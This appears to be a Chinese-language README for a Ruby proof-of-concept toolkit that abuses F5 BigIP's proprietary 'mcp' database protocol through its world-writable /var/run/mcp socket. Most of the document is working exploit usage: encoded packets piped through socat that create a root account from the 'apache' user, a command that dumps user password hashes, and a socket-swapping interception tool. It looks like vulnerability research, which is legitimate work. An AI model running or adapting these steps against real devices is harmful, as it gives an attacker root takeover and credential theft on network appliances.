这还没有真正完成或就绪,但我想先把代码提交进来。
这基本上实现了 F5 的数据库协议 "mcp",它通过
UNIX 域套接字运行。这意味着你必须先获得 F5 设备上的 shell,
然后才能使用这些工具。通常你会将脚本输出
通过 socat 转发到 /var/run/mcp,然后将响应输入 mcp-parser.rb。
更多细节见下文。
脚本的简要说明:
mcp-getloot.rb - 生成一条消息,用于导出用户和变量mcp-privesc.rb - 生成一条消息,用于创建用户帐户mcp-parser.rb - 解析来自 stdin 的 mcp 消息mcp-mitm.rb - 在目标主机上窃听 mcp 消息(需要配置免密码 ssh 到 root)mcp-builder.rb - 用于构建 mcp 消息的库(你不需要直接使用)mcp-generateobjects.rb - 用于生成 mcp-objects.txt 的工具(你大概不需要它)MCP 是 F5 BigIP 使用的一种专有(据我所知)数据库。它通过
/var/run/mcp 访问,这是一个具有 0777 权限的 UNIX 域套接字(也就是说,
任何用户都可以访问它)。
该协议是 TLV 风格,包含大量类型(超过 41,000 种)。它们 都列在 mcp-objects.txt 中。
我实现了一个解析器,你可以在 mcp-parser.rb 中找到它, 你还可以在 mcp-parser-tests.rb 中找到大量不同的消息。
我还创建了一个构建器 mcp-builder.rb,虽然它
并不是为了易用而设计的。不过我们确实有一个预定义函数,可以
创建一条 MCP 数据包来创建 root 级用户帐户,这相当
酷。你可以使用 mcp-privesc.rb 来生成那个数据包。
要与 MCP 直接通信,你通常会使用 socat。mcp-builder.rb 中的
代码可以创建数据包,但它不适合直接运行。
你可能希望直接使用的脚本有:
mcp-getloot.rb - 获取用户和配置设置mcp-privesc.rb - 添加一个新的 root 级帐户mcp-parser.rb - 解析响应(来自 stdin)要使用这些查询脚本之一,请执行它,并想办法将输出
发送到目标上的 UNIX 套接字。下面是一个示例,我们对
mcp-privesc.rb 的输出进行 gzip + base64 编码:
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9LEJmhlDZK3HQY0L0WuiKfXaKJtQmOY7lIkMS/IxftTmZs.PdlYXxmxjRQ4f529gl13NsqWlZdd/eksunJT01
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==
然后,我们可以将其复制并粘贴到目标的 ssh 会话中,在那里将其发送 到 UNIX 套接字(请注意,我们是以非 root 用户身份执行此操作,以 证明这是可行的):
$ whoami
apache
$ echo -ne 'H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==
bash-4.2$ su blogtest
Password:
[...]
[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root
我们还可以使用 mcp-parser.rb 解析得到的响应:
$ echo -ne 'H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==' | base64 -d | gunzip - | ruby ./mcp-parser.rb
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = user_authenticated
result_type (tag) = user_authenticated_name
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = create
result_type (tag) = userdb_entry
当然,你也可以把这一切合并成一条命令;下面是使用
mcp-getloot.rb 的方法:
$ ruby ./mcp-getloot.rb | ssh [email protected] socat -t100 - UNIX-CONNECT:/var/run/mcp | ruby ./mcp-parser.rb | head -n30
Writing an `mcp` message to stdout that'll query for interesting stuff
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
query_reply (structure [949 bytes]):
userdb_entry (structure [233 bytes]):
userdb_entry_name (string [6 bytes]) = "root"
trunk_virtual_mbr_transaction_id (ulong) = 0x00000001 (1)
userdb_entry_partition_id (string [8 bytes]) = "Common"
fw_analytics_settings_dns_collect_dst_i... (long) = 0xffffffff (4294967295)
userdb_entry_is_system (ulong) = 0x00000001 (1)
userdb_entry_oldpasswd (string [2 bytes]) = ""
userdb_entry_shell (string [11 bytes]) = "/bin/bash"
userdb_entry_gecos (string [6 bytes]) = "root"
userdb_entry_is_crypted (ulong) = 0x00000001 (1)
userdb_entry_passwd (string [100 bytes]) = "$6$UIHYzBX6$UClrSPt1o/G2meP27zBzRJnAjWEIkhNEQzqDYwn5gtnoKqFeGhnJveUUHGavaPU1FO9eif2pnADjDN/5YgMI3/"
userdb_entry_description (string [2 bytes]) = ""
userdb_entry_object_id (ulong) = 0x00002a70 (10864)
userdb_entry (structure [251 bytes]):
userdb_entry_name (string [7 bytes]) = "admin"
[...]
db_variable (structure [224 bytes]):
db_variable_name (string [38 bytes]) = "platform.diskmonitor.freelast.vmdisk"
db_variable_transaction_id (ulong) = 0x0000004b (75)
db_variable_scf_config (string [7 bytes]) = "false"
db_variable_maximum (string [2 bytes]) = ""
db_variable_minimum (string [2 bytes]) = ""
db_variable_data_type (string [9 bytes]) = "integer"
db_variable_sync_type (string [18 bytes]) = "private_internal"
db_variable_default (string [3 bytes]) = "0"
db_variable_value (string [3 bytes]) = "0"
db_variable_display_name (string [38 bytes]) = "Platform.DiskMonitor.FreeLast.vmdisk"
db_variable_object_id (ulong) = 0x0000e705 (59141)
db_variable_enumerated (array [6 bytes]): Array data: 000f00000000
我还编写了一个工具,用于实时检查/记录数据库查询 —
mcp-mitm.rb。这不是漏洞利用工具,只是一个分析工具,
需要 root 登录。实际上,它会移动 /var/run/mcp 并用我们控制的套接字
替换它,然后解析所有经过它的消息。
要运行它:
ssh root@<target>(或者修改代码并关闭 DO_SETUP)几乎所有潜在的“损害”都可以通过重启来修复,因为套接字是在启动时 创建的,但你可能不想在生产环境这么做。
总之,不带参数执行以查看用法,然后填入重要的 IP 地址:
$ ruby ./mcp-mitm.rb
Usage: ruby ./mcp-mitm.rb <your ip> <target ip> [listen port 1] [listen port 2]
[...]
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
Configuration (edit the script to change, this is a PoC!):
Your IP: 10.0.0.179
Target IP: 10.0.0.162
Listening port 1: 1234
Listening port 2: 1235
SSH into the target to set things up: true
(Make sure you can ssh into the host as root with no password)
(Yes yes, I know it's a PoC!)
SSH'ing into the server to set things up
Ready!
如果你等一下(或在服务器上做一些操作),你会看到会话:
Received session @ #<TCPSocket:0x000000000170d630> <--> #<TCPSocket:0x000000000170d658>
user_authenticated (structure [15 bytes]):
user_authenticated_name (string [7 bytes]) = "admin"
start_transaction (structure [8 bytes]):
start_transaction_load_type (ulong) = 0x00000000 (0)
[...]
按 Ctrl-c 会停止它,并修复套接字:
^CSSH'ing into the server to fix things
Session 1 closed?
Ending thread
Ending thread
Traceback (most recent call last):
3: from ./mcp-mitm.rb:149:in `<main>'
2: from ./mcp-mitm.rb:149:in `loop'
1: from ./mcp-mitm.rb:151:in `block in <main>'
./mcp-mitm.rb:151:in `accept': Interrupt
就是这样!